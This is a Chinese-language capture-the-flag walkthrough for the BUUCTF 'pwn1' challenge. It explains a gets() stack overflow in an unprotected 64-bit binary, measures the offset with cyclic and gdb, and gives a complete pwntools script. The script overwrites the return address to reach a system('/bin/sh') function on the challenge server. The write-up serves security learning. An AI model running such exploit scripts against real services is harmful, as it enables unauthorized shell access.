Buuctf pwn1 詳細wp


程序基本信息

我們可以看到這是一個64程序,沒有保護開啟。

程序溢出點

gets函數可以讀取無限字符,存在棧溢出。
接下來我們測測需要多少字符長度可以溢出。
我們可以直接從ida上看到

變量s在棧上[bp-Fh]位置,也就是說我們只能輸入(Fh + 8)(覆蓋rbp需要8個字節)的字節就能覆蓋到棧底rbp,緊跟棧底的便是返回地址,我們可以接上一個我們想要程序跳轉到的地址。
當然ida顯示大部分情況下棧偏移都是沒問題的,但也有例外,所以最好手測一下溢出長度。
ida和gdb都可以測溢出長度,這里我介紹gdb的方法。
首先生成50個每4個字符都是獨一無二的字符串

然后用gdb調試程序並把該字符串輸入

我們看到程序運行到ret發生了錯誤

此時棧上的情況

我們可以看到,rsp處本來應該是返回地址,現在已經被我們輸入的字符串覆蓋了。
由於程序是小端法,所以agaa就在0x7fffffffe108處,我們只要知道agaa前有多少字符即可。

由於cyclic生成的字符串每四個字符都是唯一的,所以只要我們-l命令輸入四個字符,它就能測算出這四個字符前有幾個字符。(一個字符占一字節)
可以看到結果為23 = ida顯示的Fh + 8

確定返回地址

現在我們已經可以成功劫持rip到我們想要的運行地址,哪要跳轉到哪里才能pwn掉程序呢?
我們發現程序有一個函數fun()

執行了system("/bin/sh"),/bin/sh是一個軟連接,它指向某一個shell,所以這個命令會開啟一個shell,將rip劫持到這里,我們就能成功pwn掉程序。

編寫exp腳本

直接附上exp

/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)	#初始化上下文環境,主要是系統、架構和讀取超時時間

io = remote('pwn.buuoj.cn', 6001)	#此處的IP地址和端口需要根據目標修改

system_addr = 0x401186  #函數fun()的地址

payload = ''					
payload += 'A'*23			#使用23個任意字符填充
payload += p64(system_addr)	#返回地址覆蓋為fun函數的地址,當主程序運行完返回時便會跳轉到fun()函數並執行

io.sendline(payload)			#向程序輸入payload,注意使用sendline()或者send()的數據末尾加上回車'\n'
io.interactive()

成功getshell

運行腳本成功獲得flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM